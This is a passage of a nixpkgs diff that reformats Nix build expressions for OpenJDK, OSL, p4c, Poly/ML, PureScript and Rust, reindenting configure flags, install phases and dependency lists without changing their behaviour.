+        "--with-version-opt=nixos"
+      ]
+      ++ [
+        "--with-version-pre="
+      ]
+    else
+      [
+        "--with-update-version=${lib.removePrefix "${featureVersion}u" (lib.elemAt versionSplit 0)}"
+        "--with-build-number=${versionBuild}"
+        "--with-milestone=fcs"
+      ]
+  )
+  ++ [
+    "--enable-unlimited-crypto"
+    "--with-native-debug-symbols=internal"
+  ]
+  ++ lib.optionals (!atLeast21) (
+    if atLeast11 then
+      [
+        "--with-freetype=system"
+        "--with-harfbuzz=system"
+      ]
+    else
+      [
+        "--disable-freetype-bundling"
+      ]
+  )
+  ++ (
+    if atLeast11 then
+      [
+        "--with-libjpeg=system"
+        "--with-giflib=system"
+        "--with-libpng=system"
+        "--with-zlib=system"
+        "--with-lcms=system"
+      ]
+    else
+      [
+        "--with-zlib=system"
+        "--with-giflib=system"
+      ]
+  )
+  ++ [
+    "--with-stdc++lib=dynamic"
+  ]
+  ++ lib.optionals (featureVersion == "11") [
+    "--disable-warnings-as-errors"
+  ]
+  # OpenJDK 11 cannot be built by recent versions of Clang, as far as I can tell (see
+  # https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=260319). Known to
+  # compile with LLVM 12.
+  ++ lib.optionals (atLeast11 && stdenv.cc.isClang) [
+    "--with-toolchain-type=clang"
+    # Explicitly tell Clang to compile C++ files as C++, see
+    # https://github.com/NixOS/nixpkgs/issues/150655#issuecomment-1935304859
+    "--with-extra-cxxflags=-xc++"
+  ]
+  # This probably shouldn’t apply to OpenJDK 21; see
+  # b7e68243306833845cbf92e2ea1e0cf782481a51 which removed it for
+  # versions 15 through 20.
+  ++ lib.optional (
+    (featureVersion == "11" || featureVersion == "21") && stdenv.hostPlatform.isx86_64
+  ) "--with-jvm-features=zgc"
+  ++ lib.optional headless (if atLeast11 then "--enable-headless-only" else "--disable-headful")
+  ++ lib.optional (!headless && enableJavaFX) "--with-import-modules=${openjfx_jdk}";
 
   buildFlags = if atLeast17 then [ "images" ] else [ "all" ];
 
@@ -435,56 +430,55 @@ stdenv.mkDerivation (finalAttrs: {
   # still runs in parallel.
   enableParallelBuilding = false;
 
-  env =
-    {
-      NIX_CFLAGS_COMPILE =
-        if atLeast17 then
-          "-Wno-error"
-        else if atLeast11 then
-          # Workaround for
-          # `cc1plus: error: '-Wformat-security' ignored without '-Wformat' [-Werror=format-security]`
-          # when building jtreg
-          "-Wformat"
-        else
-          lib.concatStringsSep " " (
-            [
-              # glibc 2.24 deprecated readdir_r so we need this
-              # See https://www.mail-archive.com/openembedded-devel@lists.openembedded.org/msg49006.html
-              "-Wno-error=deprecated-declarations"
-            ]
-            ++ lib.optionals stdenv.cc.isGNU [
-              # https://bugzilla.redhat.com/show_bug.cgi?id=1306558
-              # https://github.com/JetBrains/jdk8u/commit/eaa5e0711a43d64874111254d74893fa299d5716
-              "-fno-lifetime-dse"
-              "-fno-delete-null-pointer-checks"
-              "-std=gnu++98"
-              "-Wno-error"
-            ]
-            ++ [
-              # error by default in GCC 14
-              "-Wno-error=int-conversion"
-              "-Wno-error=incompatible-pointer-types"
-            ]
-          );
+  env = {
+    NIX_CFLAGS_COMPILE =
+      if atLeast17 then
+        "-Wno-error"
+      else if atLeast11 then
+        # Workaround for
+        # `cc1plus: error: '-Wformat-security' ignored without '-Wformat' [-Werror=format-security]`
+        # when building jtreg
+        "-Wformat"
+      else
+        lib.concatStringsSep " " (
+          [
+            # glibc 2.24 deprecated readdir_r so we need this
+            # See https://www.mail-archive.com/openembedded-devel@lists.openembedded.org/msg49006.html
+            "-Wno-error=deprecated-declarations"
+          ]
+          ++ lib.optionals stdenv.cc.isGNU [
+            # https://bugzilla.redhat.com/show_bug.cgi?id=1306558
+            # https://github.com/JetBrains/jdk8u/commit/eaa5e0711a43d64874111254d74893fa299d5716
+            "-fno-lifetime-dse"
+            "-fno-delete-null-pointer-checks"
+            "-std=gnu++98"
+            "-Wno-error"
+          ]
+          ++ [
+            # error by default in GCC 14
+            "-Wno-error=int-conversion"
+            "-Wno-error=incompatible-pointer-types"
+          ]
+        );
 
-      NIX_LDFLAGS = lib.concatStringsSep " " (
-        lib.optionals (!headless) [
-          "-lfontconfig"
-          "-lcups"
-          "-lXinerama"
-          "-lXrandr"
-          "-lmagic"
-        ]
-        ++ lib.optionals (!headless && enableGtk) [
-          (if atLeast11 then "-lgtk-3" else "-lgtk-x11-2.0")
-          "-lgio-2.0"
-        ]
-      );
-    }
-    // lib.optionalAttrs (!atLeast11) {
-      # OpenJDK 8 Hotspot cares about the host(!) version otherwise
-      DISABLE_HOTSPOT_OS_VERSION_CHECK = "ok";
-    };
+    NIX_LDFLAGS = lib.concatStringsSep " " (
+      lib.optionals (!headless) [
+        "-lfontconfig"
+        "-lcups"
+        "-lXinerama"
+        "-lXrandr"
+        "-lmagic"
+      ]
+      ++ lib.optionals (!headless && enableGtk) [
+        (if atLeast11 then "-lgtk-3" else "-lgtk-x11-2.0")
+        "-lgio-2.0"
+      ]
+    );
+  }
+  // lib.optionalAttrs (!atLeast11) {
+    # OpenJDK 8 Hotspot cares about the host(!) version otherwise
+    DISABLE_HOTSPOT_OS_VERSION_CHECK = "ok";
+  };
 
   ${if atLeast23 then "versionCheckProgram" else null} = "${placeholder "out"}/bin/java";
 
@@ -492,114 +486,111 @@ stdenv.mkDerivation (finalAttrs: {
 
   doInstallCheck = atLeast23;
 
-  ${if atLeast17 then "postPatch" else null} =
-    ''
-      chmod +x configure
-      patchShebangs --build configure
-    ''
-    + lib.optionalString atLeast24 ''
-      chmod +x make/scripts/*.{template,sh,pl}
-      patchShebangs --build make/scripts
-    '';
+  ${if atLeast17 then "postPatch" else null} = ''
+    chmod +x configure
+    patchShebangs --build configure
+  ''
+  + lib.optionalString atLeast24 ''
+    chmod +x make/scripts/*.{template,sh,pl}
+    patchShebangs --build make/scripts
+  '';
 
-  ${if !atLeast17 then "preConfigure" else null} =
-    ''
-      chmod +x configure
-      substituteInPlace configure --replace /bin/bash "${bash}/bin/bash"
-    ''
-    + lib.optionalString (!atLeast11) ''
-      substituteInPlace hotspot/make/linux/adlc_updater --replace /bin/sh "${stdenv.shell}"
-      substituteInPlace hotspot/make/linux/makefiles/dtrace.make --replace /usr/include/sys/sdt.h "/no-such-path"
-    '';
+  ${if !atLeast17 then "preConfigure" else null} = ''
+    chmod +x configure
+    substituteInPlace configure --replace /bin/bash "${bash}/bin/bash"
+  ''
+  + lib.optionalString (!atLeast11) ''
+    substituteInPlace hotspot/make/linux/adlc_updater --replace /bin/sh "${stdenv.shell}"
+    substituteInPlace hotspot/make/linux/makefiles/dtrace.make --replace /usr/include/sys/sdt.h "/no-such-path"
+  '';
 
-  installPhase =
-    ''
-      mkdir -p $out/lib
+  installPhase = ''
+    mkdir -p $out/lib
 
-      mv build/*/images/${if atLeast11 then "jdk" else "j2sdk-image"} $out/lib/openjdk
+    mv build/*/images/${if atLeast11 then "jdk" else "j2sdk-image"} $out/lib/openjdk
 
-      # Remove some broken manpages.
-      rm -rf $out/lib/openjdk/man/ja*
+    # Remove some broken manpages.
+    rm -rf $out/lib/openjdk/man/ja*
 
-      # Mirror some stuff in top-level.
-      mkdir -p $out/share
-      ln -s $out/lib/openjdk/include $out/include
-      ln -s $out/lib/openjdk/man $out/share/man
-    ''
-    + lib.optionalString atLeast17 ''
+    # Mirror some stuff in top-level.
+    mkdir -p $out/share
+    ln -s $out/lib/openjdk/include $out/include
+    ln -s $out/lib/openjdk/man $out/share/man
+  ''
+  + lib.optionalString atLeast17 ''
 
-      # IDEs use the provided src.zip to navigate the Java codebase (https://github.com/NixOS/nixpkgs/pull/95081)
-    ''
-    + lib.optionalString atLeast11 ''
-      ln -s $out/lib/openjdk/lib/src.zip $out/lib/src.zip
-    ''
-    + ''
+    # IDEs use the provided src.zip to navigate the Java codebase (https://github.com/NixOS/nixpkgs/pull/95081)
+  ''
+  + lib.optionalString atLeast11 ''
+    ln -s $out/lib/openjdk/lib/src.zip $out/lib/src.zip
+  ''
+  + ''
 
-      # jni.h expects jni_md.h to be in the header search path.
-      ln -s $out/include/linux/*_md.h $out/include/
+    # jni.h expects jni_md.h to be in the header search path.
+    ln -s $out/include/linux/*_md.h $out/include/
 
-      # Remove crap from the installation.
-      rm -rf $out/lib/openjdk/demo${lib.optionalString (!atLeast11) " $out/lib/openjdk/sample"}
-      ${lib.optionalString headless (
-        if atLeast11 then
-          ''
-            rm $out/lib/openjdk/lib/{libjsound,libfontmanager}.so
-          ''
+    # Remove crap from the installation.
+    rm -rf $out/lib/openjdk/demo${lib.optionalString (!atLeast11) " $out/lib/openjdk/sample"}
+    ${lib.optionalString headless (
+      if atLeast11 then
+        ''
+          rm $out/lib/openjdk/lib/{libjsound,libfontmanager}.so
+        ''
+      else
+        ''
+          rm $out/lib/openjdk/jre/lib/${architecture}/{libjsound,libjsoundalsa,libsplashscreen,libawt*,libfontmanager}.so
+          rm $out/lib/openjdk/jre/bin/policytool
+          rm $out/lib/openjdk/bin/{policytool,appletviewer}
+        ''
+    )}
+  ''
+  + lib.optionalString (!atLeast11) ''
+
+    # Move the JRE to a separate output
+    mkdir -p $jre/lib/openjdk
+    mv $out/lib/openjdk/jre $jre/lib/openjdk/jre
+    mkdir $out/lib/openjdk/jre
+    lndir $jre/lib/openjdk/jre $out/lib/openjdk/jre
+
+    # Make sure cmm/*.pf are not symlinks:
+    # https://youtrack.jetbrains.com/issue/IDEA-147272
+    rm -rf $out/lib/openjdk/jre/lib/cmm
+    ln -s {$jre,$out}/lib/openjdk/jre/lib/cmm
+
+    # Setup fallback fonts
+    ${lib.optionalString (!headless) ''
+      mkdir -p $jre/lib/openjdk/jre/lib/fonts
+      ln -s ${liberation_ttf}/share/fonts/truetype $jre/lib/openjdk/jre/lib/fonts/fallback
+    ''}
+
+    # Remove duplicate binaries.
+    for i in $(cd $out/lib/openjdk/bin && echo *); do
+      if [ "$i" = java ]; then continue; fi
+      if cmp -s $out/lib/openjdk/bin/$i $jre/lib/openjdk/jre/bin/$i; then
+        ln -sfn $jre/lib/openjdk/jre/bin/$i $out/lib/openjdk/bin/$i
+      fi
+    done
+
+    # Generate certificates.
+    (
+      cd $jre/lib/openjdk/jre/lib/security
+      rm cacerts
+      perl ${./8/generate-cacerts.pl} ${
+        if stdenv.buildPlatform.canExecute stdenv.hostPlatform then
+          "$jre/lib/openjdk/jre/bin/keytool"
         else
-          ''
-            rm $out/lib/openjdk/jre/lib/${architecture}/{libjsound,libjsoundalsa,libsplashscreen,libawt*,libfontmanager}.so
-            rm $out/lib/openjdk/jre/bin/policytool
-            rm $out/lib/openjdk/bin/{policytool,appletviewer}
-          ''
-      )}
-    ''
-    + lib.optionalString (!atLeast11) ''
+          "keytool"
+      } ${cacert}/etc/ssl/certs/ca-bundle.crt
+    )
+  ''
+  + ''
 
-      # Move the JRE to a separate output
-      mkdir -p $jre/lib/openjdk
-      mv $out/lib/openjdk/jre $jre/lib/openjdk/jre
-      mkdir $out/lib/openjdk/jre
-      lndir $jre/lib/openjdk/jre $out/lib/openjdk/jre
-
-      # Make sure cmm/*.pf are not symlinks:
-      # https://youtrack.jetbrains.com/issue/IDEA-147272
-      rm -rf $out/lib/openjdk/jre/lib/cmm
-      ln -s {$jre,$out}/lib/openjdk/jre/lib/cmm
-
-      # Setup fallback fonts
-      ${lib.optionalString (!headless) ''
-        mkdir -p $jre/lib/openjdk/jre/lib/fonts
-        ln -s ${liberation_ttf}/share/fonts/truetype $jre/lib/openjdk/jre/lib/fonts/fallback
-      ''}
-
-      # Remove duplicate binaries.
-      for i in $(cd $out/lib/openjdk/bin && echo *); do
-        if [ "$i" = java ]; then continue; fi
-        if cmp -s $out/lib/openjdk/bin/$i $jre/lib/openjdk/jre/bin/$i; then
-          ln -sfn $jre/lib/openjdk/jre/bin/$i $out/lib/openjdk/bin/$i
-        fi
-      done
-
-      # Generate certificates.
-      (
-        cd $jre/lib/openjdk/jre/lib/security
-        rm cacerts
-        perl ${./8/generate-cacerts.pl} ${
-          if stdenv.buildPlatform.canExecute stdenv.hostPlatform then
-            "$jre/lib/openjdk/jre/bin/keytool"
-          else
-            "keytool"
-        } ${cacert}/etc/ssl/certs/ca-bundle.crt
-      )
-    ''
-    + ''
-
-      ln -s $out/lib/openjdk/bin $out/bin
-    ''
-    + lib.optionalString (!atLeast11) ''
-      ln -s $jre/lib/openjdk/jre/bin $jre/bin
-      ln -s $jre/lib/openjdk/jre $out/jre
-    '';
+    ln -s $out/lib/openjdk/bin $out/bin
+  ''
+  + lib.optionalString (!atLeast11) ''
+    ln -s $jre/lib/openjdk/jre/bin $jre/bin
+    ln -s $jre/lib/openjdk/jre $out/jre
+  '';
 
   preFixup =
     (
@@ -655,16 +646,15 @@ stdenv.mkDerivation (finalAttrs: {
     (if atLeast11 then jdk-bootstrap' else jdk-bootstrap)
   ];
 
-  passthru =
-    {
-      home = "${finalAttrs.finalPackage}/lib/openjdk";
-      inherit jdk-bootstrap;
-      inherit (source) updateScript;
-    }
-    // (if atLeast11 then { inherit gtk3; } else { inherit gtk2; })
-    // lib.optionalAttrs (!atLeast23) {
-      inherit architecture;
-    };
+  passthru = {
+    home = "${finalAttrs.finalPackage}/lib/openjdk";
+    inherit jdk-bootstrap;
+    inherit (source) updateScript;
+  }
+  // (if atLeast11 then { inherit gtk3; } else { inherit gtk2; })
+  // lib.optionalAttrs (!atLeast23) {
+    inherit architecture;
+  };
 
   meta = {
     description = "Open-source Java Development Kit";
@@ -676,20 +666,19 @@ stdenv.mkDerivation (finalAttrs: {
     ];
     teams = [ lib.teams.java ];
     mainProgram = "java";
-    platforms =
-      [
-        "i686-linux"
-        "x86_64-linux"
-        "aarch64-linux"
-      ]
-      ++ lib.optionals atLeast11 [
-        "armv7l-linux"
-        "armv6l-linux"
-        "powerpc64le-linux"
-      ]
-      ++ lib.optionals atLeast17 [
-        "riscv64-linux"
-      ];
+    platforms = [
+      "i686-linux"
+      "x86_64-linux"
+      "aarch64-linux"
+    ]
+    ++ lib.optionals atLeast11 [
+      "armv7l-linux"
+      "armv6l-linux"
+      "powerpc64le-linux"
+    ]
+    ++ lib.optionals atLeast17 [
+      "riscv64-linux"
+    ];
     # OpenJDK 8 was broken for musl at 2024-01-17. Tracking issue:
     # https://github.com/NixOS/nixpkgs/issues/281618
     # error: ‘isnanf’ was not declared in this scope
diff --git a/pkgs/development/compilers/osl/default.nix b/pkgs/development/compilers/osl/default.nix
index 8a4f54b091c7..3e35b77d40d2 100644
--- a/pkgs/development/compilers/osl/default.nix
+++ b/pkgs/development/compilers/osl/default.nix
@@ -57,22 +57,21 @@ stdenv.mkDerivation rec {
     flex
   ];
 
-  buildInputs =
-    [
-      boost_static
-      libclang
-      llvm
-      openexr
-      openimageio_2
-      partio
-      pugixml
-      python3.pkgs.pybind11
-      util-linux # needed just for hexdump
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libxml2
-    ];
+  buildInputs = [
+    boost_static
+    libclang
+    llvm
+    openexr
+    openimageio_2
+    partio
+    pugixml
+    python3.pkgs.pybind11
+    util-linux # needed just for hexdump
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libxml2
+  ];
 
   postFixup = ''
     substituteInPlace "$out"/lib/pkgconfig/*.pc \
diff --git a/pkgs/development/compilers/p4c/default.nix b/pkgs/development/compilers/p4c/default.nix
index 3fd3aa022c07..2bb196df1263 100644
--- a/pkgs/development/compilers/p4c/default.nix
+++ b/pkgs/development/compilers/p4c/default.nix
@@ -73,22 +73,21 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      bison
-      flex
-      cmake
-      protobuf
-      python3
-    ]
-    ++ lib.optionals enableDocumentation [
-      doxygen
-      graphviz
-    ]
-    ++ lib.optionals enableBPF [
-      libllvm
-      libbpf
-    ];
+  nativeBuildInputs = [
+    bison
+    flex
+    cmake
+    protobuf
+    python3
+  ]
+  ++ lib.optionals enableDocumentation [
+    doxygen
+    graphviz
+  ]
+  ++ lib.optionals enableBPF [
+    libllvm
+    libbpf
+  ];
 
   buildInputs = [
     protobuf
diff --git a/pkgs/development/compilers/polyml/5.6.nix b/pkgs/development/compilers/polyml/5.6.nix
index d739f7666935..02c8d79a2468 100644
--- a/pkgs/development/compilers/polyml/5.6.nix
+++ b/pkgs/development/compilers/polyml/5.6.nix
@@ -14,17 +14,16 @@ stdenv.mkDerivation {
   pname = "polyml";
   inherit version;
 
-  postPatch =
-    ''
-      substituteInPlace configure.ac \
-        --replace-fail 'AC_FUNC_ALLOCA' "AC_FUNC_ALLOCA
-      AH_TEMPLATE([_Static_assert])
-      AC_DEFINE([_Static_assert], [static_assert])
-      "
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace configure.ac --replace-fail stdc++ c++
-    '';
+  postPatch = ''
+    substituteInPlace configure.ac \
+      --replace-fail 'AC_FUNC_ALLOCA' "AC_FUNC_ALLOCA
+    AH_TEMPLATE([_Static_assert])
+    AC_DEFINE([_Static_assert], [static_assert])
+    "
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace configure.ac --replace-fail stdc++ c++
+  '';
 
   patches = [
     # glibc 2.34 compat
diff --git a/pkgs/development/compilers/polyml/5.7.nix b/pkgs/development/compilers/polyml/5.7.nix
index c35a325ba01a..40ef97ebd871 100644
--- a/pkgs/development/compilers/polyml/5.7.nix
+++ b/pkgs/development/compilers/polyml/5.7.nix
@@ -12,17 +12,16 @@ stdenv.mkDerivation rec {
   pname = "polyml";
   version = "5.7.1";
 
-  postPatch =
-    ''
-      substituteInPlace configure.ac \
-        --replace-fail 'AC_FUNC_ALLOCA' "AC_FUNC_ALLOCA
-      AH_TEMPLATE([_Static_assert])
-      AC_DEFINE([_Static_assert], [static_assert])
-      "
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace configure.ac --replace-fail stdc++ c++
-    '';
+  postPatch = ''
+    substituteInPlace configure.ac \
+      --replace-fail 'AC_FUNC_ALLOCA' "AC_FUNC_ALLOCA
+    AH_TEMPLATE([_Static_assert])
+    AC_DEFINE([_Static_assert], [static_assert])
+    "
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace configure.ac --replace-fail stdc++ c++
+  '';
 
   patches = [
     ./5.7-new-libffi-FFI_SYSV.patch
diff --git a/pkgs/development/compilers/polyml/default.nix b/pkgs/development/compilers/polyml/default.nix
index 99b6889eb4d6..b93840c44d1e 100644
--- a/pkgs/development/compilers/polyml/default.nix
+++ b/pkgs/development/compilers/polyml/default.nix
@@ -18,17 +18,16 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-72wm8dt+Id59A5058mVE5P9TkXW5/LZRthZoxUustVA=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace configure.ac \
-        --replace-fail 'AC_FUNC_ALLOCA' "AC_FUNC_ALLOCA
-      AH_TEMPLATE([_Static_assert])
-      AC_DEFINE([_Static_assert], [static_assert])
-      "
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace configure.ac --replace-fail stdc++ c++
-    '';
+  postPatch = ''
+    substituteInPlace configure.ac \
+      --replace-fail 'AC_FUNC_ALLOCA' "AC_FUNC_ALLOCA
+    AH_TEMPLATE([_Static_assert])
+    AC_DEFINE([_Static_assert], [static_assert])
+    "
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace configure.ac --replace-fail stdc++ c++
+  '';
 
   buildInputs = [
     libffi
diff --git a/pkgs/development/compilers/purescript/purescript/default.nix b/pkgs/development/compilers/purescript/purescript/default.nix
index 97000e8220ca..17cbb170a157 100644
--- a/pkgs/development/compilers/purescript/purescript/default.nix
+++ b/pkgs/development/compilers/purescript/purescript/default.nix
@@ -59,18 +59,17 @@ stdenv.mkDerivation rec {
   libPath = lib.makeLibraryPath buildInputs;
   dontStrip = true;
 
-  installPhase =
-    ''
-      mkdir -p $out/bin
-      PURS="$out/bin/purs"
+  installPhase = ''
+    mkdir -p $out/bin
+    PURS="$out/bin/purs"
 
-      install -D -m555 -T purs $PURS
-      ${patchelf libPath}
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      mkdir -p $out/share/bash-completion/completions
-      $PURS --bash-completion-script $PURS > $out/share/bash-completion/completions/purs-completion.bash
-    '';
+    install -D -m555 -T purs $PURS
+    ${patchelf libPath}
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    mkdir -p $out/share/bash-completion/completions
+    $PURS --bash-completion-script $PURS > $out/share/bash-completion/completions/purs-completion.bash
+  '';
 
   passthru = {
     updateScript = ./update.sh;
diff --git a/pkgs/development/compilers/rust/binary.nix b/pkgs/development/compilers/rust/binary.nix
index e390b43341fc..2c79524e4e23 100644
--- a/pkgs/development/compilers/rust/binary.nix
+++ b/pkgs/development/compilers/rust/binary.nix
@@ -41,30 +41,30 @@ rec {
     };
 
     nativeBuildInputs = lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
-    buildInputs =
-      [ bash ]
-      ++ lib.optional (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) gcc.cc.lib
-      ++ lib.optional (!stdenv.hostPlatform.isDarwin) zlib;
+    buildInputs = [
+      bash
+    ]
+    ++ lib.optional (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) gcc.cc.lib
+    ++ lib.optional (!stdenv.hostPlatform.isDarwin) zlib;
 
     postPatch = ''
       patchShebangs .
     '';
 
-    installPhase =
-      ''
-        ./install.sh --prefix=$out \
-          --components=${installComponents}
+    installPhase = ''
+      ./install.sh --prefix=$out \
+        --components=${installComponents}
 
-        # Do NOT, I repeat, DO NOT use `wrapProgram` on $out/bin/rustc
-        # (or similar) here. It causes strange effects where rustc loads
-        # the wrong libraries in a bootstrap-build causing failures that
-        # are very hard to track down. For details, see
-        # https://github.com/rust-lang/rust/issues/34722#issuecomment-232164943
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        install_name_tool -change "/usr/lib/libcurl.4.dylib" \
-        "${lib.getLib curl}/lib/libcurl.4.dylib" "$out/bin/cargo"
-      '';
+      # Do NOT, I repeat, DO NOT use `wrapProgram` on $out/bin/rustc
+      # (or similar) here. It causes strange effects where rustc loads
+      # the wrong libraries in a bootstrap-build causing failures that
+      # are very hard to track down. For details, see
+      # https://github.com/rust-lang/rust/issues/34722#issuecomment-232164943
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      install_name_tool -change "/usr/lib/libcurl.4.dylib" \
+      "${lib.getLib curl}/lib/libcurl.4.dylib" "$out/bin/cargo"
+    '';
 
     # The strip tool in cctools 973.0.1 and up appears to break rlibs in the
     # binaries. The lib.rmeta object inside the ar archive should contain an
@@ -148,28 +148,29 @@ rec {
 
     nativeBuildInputs = [
       makeWrapper
-    ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
+    ]
+    ++ lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
     buildInputs = [
       bash
-    ] ++ lib.optional (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) gcc.cc.lib;
+    ]
+    ++ lib.optional (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) gcc.cc.lib;
 
     postPatch = ''
       patchShebangs .
     '';
 
-    installPhase =
-      ''
-        patchShebangs ./install.sh
-        ./install.sh --prefix=$out \
-          --components=cargo
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        install_name_tool -change "/usr/lib/libcurl.4.dylib" \
-          "${lib.getLib curl}/lib/libcurl.4.dylib" "$out/bin/cargo"
-      ''
-      + ''
-        wrapProgram "$out/bin/cargo" \
-          --suffix PATH : "${rustc}/bin"
-      '';
+    installPhase = ''
+      patchShebangs ./install.sh
+      ./install.sh --prefix=$out \
+        --components=cargo
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      install_name_tool -change "/usr/lib/libcurl.4.dylib" \
+        "${lib.getLib curl}/lib/libcurl.4.dylib" "$out/bin/cargo"
+    ''
+    + ''
+      wrapProgram "$out/bin/cargo" \
+        --suffix PATH : "${rustc}/bin"
+    '';
   };
 }
diff --git a/pkgs/development/compilers/rust/rustc.nix b/pkgs/development/compilers/rust/rustc.nix
index c9312ea8c63c..c64cca3297d2 100644
--- a/pkgs/development/compilers/rust/rustc.nix
+++ b/pkgs/development/compilers/rust/rustc.nix
@@ -307,47 +307,46 @@ stdenv.mkDerivation (finalAttrs: {
 
   inherit patches;
 
-  postPatch =
-    ''
-      patchShebangs src/etc
+  postPatch = ''
+    patchShebangs src/etc
 
-      # rust-lld is the name rustup uses for its bundled lld, so that it
-      # doesn't conflict with any system lld.  This is not an
-      # appropriate default for Nixpkgs, where there is no rust-lld.
-      substituteInPlace compiler/rustc_target/src/spec/*/*.rs \
-        --replace-quiet '"rust-lld"' '"lld"'
+    # rust-lld is the name rustup uses for its bundled lld, so that it
+    # doesn't conflict with any system lld.  This is not an
+    # appropriate default for Nixpkgs, where there is no rust-lld.
+    substituteInPlace compiler/rustc_target/src/spec/*/*.rs \
+      --replace-quiet '"rust-lld"' '"lld"'
 
-      ${optionalString (!withBundledLLVM) "rm -rf src/llvm"}
+    ${optionalString (!withBundledLLVM) "rm -rf src/llvm"}
 
-      # Useful debugging parameter
-      # export VERBOSE=1
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin || stdenv.targetPlatform.isDarwin) ''
-      # Replace hardcoded path to strip with llvm-strip
-      # https://github.com/NixOS/nixpkgs/issues/299606
-      substituteInPlace compiler/rustc_codegen_ssa/src/back/link.rs \
-        --replace-fail "/usr/bin/strip" "${lib.getExe' llvmShared "llvm-strip"}"
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) ''
-      # See https://github.com/jemalloc/jemalloc/issues/1997
-      # Using a value of 48 should work on both emulated and native x86_64-darwin.
-      export JEMALLOC_SYS_WITH_LG_VADDR=48
-    ''
-    + lib.optionalString (!(finalAttrs.src.passthru.isReleaseTarball or false)) ''
-      mkdir .cargo
-      cat > .cargo/config.toml <<\EOF
-      [source.crates-io]
-      replace-with = "vendored-sources"
-      [source.vendored-sources]
-      directory = "vendor"
-      EOF
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isFreeBSD) ''
-      # lzma-sys bundles an old version of xz that doesn't build
-      # on modern FreeBSD, use the system one instead
-      substituteInPlace src/bootstrap/src/core/build_steps/tool.rs \
-          --replace 'cargo.env("LZMA_API_STATIC", "1");' ' '
-    '';
+    # Useful debugging parameter
+    # export VERBOSE=1
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin || stdenv.targetPlatform.isDarwin) ''
+    # Replace hardcoded path to strip with llvm-strip
+    # https://github.com/NixOS/nixpkgs/issues/299606
+    substituteInPlace compiler/rustc_codegen_ssa/src/back/link.rs \
+      --replace-fail "/usr/bin/strip" "${lib.getExe' llvmShared "llvm-strip"}"
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) ''
+    # See https://github.com/jemalloc/jemalloc/issues/1997
+    # Using a value of 48 should work on both emulated and native x86_64-darwin.
+    export JEMALLOC_SYS_WITH_LG_VADDR=48
+  ''
+  + lib.optionalString (!(finalAttrs.src.passthru.isReleaseTarball or false)) ''
+    mkdir .cargo
+    cat > .cargo/config.toml <<\EOF
+    [source.crates-io]
+    replace-with = "vendored-sources"
+    [source.vendored-sources]
+    directory = "vendor"
+    EOF
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isFreeBSD) ''
+    # lzma-sys bundles an old version of xz that doesn't build
+    # on modern FreeBSD, use the system one instead
+    substituteInPlace src/bootstrap/src/core/build_steps/tool.rs \
+        --replace 'cargo.env("LZMA_API_STATIC", "1");' ' '
+  '';
 
   # rustc unfortunately needs cmake to compile llvm-rt but doesn't
   # use it for the normal build. This disables cmake in Nix.
@@ -359,39 +358,39 @@ stdenv.mkDerivation (finalAttrs: {
   ];
   depsBuildTarget = lib.optionals stdenv.targetPlatform.isMinGW [ bintools ];
 
-  nativeBuildInputs =
-    [
-      file
-      python3
-      rustc
-      cmake
-      which
-      libffi
-      removeReferencesTo
-      pkg-config
-      xz
-    ]
-    ++ optionals fastCross [
-      lndir
-      makeWrapper
-    ];
+  nativeBuildInputs = [
+    file
+    python3
+    rustc
+    cmake
+    which
+    libffi
+    removeReferencesTo
+    pkg-config
+    xz
+  ]
+  ++ optionals fastCross [
+    lndir
+    makeWrapper
+  ];
 
-  buildInputs =
-    [ openssl ]
-    ++ optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      zlib
-    ]
-    ++ optional (!withBundledLLVM) llvmShared.lib
-    ++ optional (useLLVM && !withBundledLLVM && !stdenv.targetPlatform.isFreeBSD) [
-      llvmPackages.libunwind
-      # Hack which is used upstream https://github.com/gentoo/gentoo/blob/master/dev-lang/rust/rust-1.78.0.ebuild#L284
-      (runCommandLocal "libunwind-libgcc" { } ''
-        mkdir -p $out/lib
-        ln -s ${llvmPackages.libunwind}/lib/libunwind.so $out/lib/libgcc_s.so
-        ln -s ${llvmPackages.libunwind}/lib/libunwind.so $out/lib/libgcc_s.so.1
-      '')
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    zlib
+  ]
+  ++ optional (!withBundledLLVM) llvmShared.lib
